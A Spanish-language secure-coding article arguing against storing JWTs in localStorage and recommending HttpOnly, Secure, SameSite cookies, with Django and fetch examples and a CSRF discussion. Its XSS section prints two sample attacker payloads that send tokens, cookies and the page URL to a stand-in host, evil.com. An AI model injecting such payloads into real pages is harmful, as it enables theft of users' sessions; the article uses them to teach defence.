Deja de usar localStorage para los tokens de autenticación: un análisis en profundidad de la seguridad
Por qué almacenar los JWT en localStorage supone un riesgo de seguridad, cómo lo aprovechan los ataques XSS y cuál es la forma correcta de gestionar los tokens de autenticación en las aplicaciones web modernas.
El problema que todo el mundo ignora
Ve a cualquier tutorial de Next.js o React sobre la autenticación JWT. El 90 % de ellos te mostrará esto:
// DON'T DO THIS
const login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- VULNERABLE
};Se trata de una vulnerabilidad de tipo «Cross-Site Scripting» (XSS). Cualquier código JavaScript que se ejecute en tu página puede leer el localStorage. Si un atacante inyecta tan solo una línea de JavaScript (a través de un script de terceros, un ataque a la cadena de suministro de npm o una entrada de usuario sin escapar), podrá robar el token de autenticación de todos los usuarios.
Cómo el XSS roba los tokens de localStorage
Un atacante no necesita piratear tu servidor. Solo tiene que ejecutar JavaScript en tu página:
// Attacker's payload (injected via comment field, ad script, etc.)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// Or they exfiltrate via fetch
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Vectores comunes de XSS: uso sin escapar de `dangerouslySetInnerHTML`, paquetes de npm comprometidos, scripts de análisis o chat de terceros, y contenido generado por los usuarios que se muestra como HTML.
El enfoque correcto: las cookies HttpOnly
Guarda los tokens en cookies HttpOnly, Secure y SameSite. JavaScript no puede leer las cookies HttpOnly, ya que el navegador las envía automáticamente con cada solicitud.
# Django backend: set token as HttpOnly cookie
from django.http import JsonResponse
def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly: JavaScript can't read it (XSS safe)
# Secure: only sent over HTTPS
# SameSite=Lax: prevents CSRF on most requests
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 minutes
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 days
path='/api/auth/refresh/', # only sent to refresh endpoint
)
return responseInterfaz de usuario: no es necesario gestionar tokens
Con las cookies HttpOnly, la interfaz de usuario no maneja los tokens en absoluto. El navegador se encarga de todo:
// Frontend: cookies are sent automatically
const getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // include cookies
});
return res.json();
};
// No localStorage, no token parsing, no auth headers
// The browser sends the HttpOnly cookie automaticallyComparación: localStorage frente a las cookies HttpOnly
| Vector de ataque | localStorage | Cookie HttpOnly |
|---|---|---|
| XSS (inyección de código) | Robo de un token | Seguro de tokens (JS no puede leerlo) |
| CSRF (solicitud entre sitios) | Seguro (no se envía automáticamente) | Protegido por SameSite=Lax |
| Ataque a la cadena de suministro de npm | Robo de un token | Caja fuerte para tokens |
| Acceso a la extensión del navegador | Token legible | Token oculto |
| Análisis de red | Si se envía en el encabezado: visible | Indicador de seguridad: solo HTTPS |
¿Y qué hay del CSRF?
El argumento más habitual a favor de localStorage es que «las cookies son vulnerables al CSRF». Esto era cierto hace diez años. Los navegadores modernos admiten SameSite=Lax, que impide que las solicitudes de origen cruzado envíen cookies. Si a esto le sumamos el middleware CSRF de Django para las solicitudes que modifican el estado, el CSRF queda prácticamente eliminado.
Para mayor seguridad, utiliza el patrón de cookies de doble envío: el servidor establece una cookie de token CSRF que no es «HttpOnly», la interfaz de usuario la lee y la envía como encabezado, y el servidor comprueba que coincidan.
En resumen
Si vas a implementar un sistema de autenticación en 2026, utiliza cookies HttpOnly. La superficie de ataque XSS de localStorage es demasiado amplia, sobre todo en las aplicaciones modernas, que cargan decenas de scripts de terceros. La seguridad de las sesiones de tus usuarios depende de ello.
La seguridad no es una característica que se añada a posteriori. La elección entre cookies de localStorage y HttpOnly marca la diferencia entre «nos han hackeado» y «se ha mitigado el ataque».
— Guía rápida de autenticación de OWASP
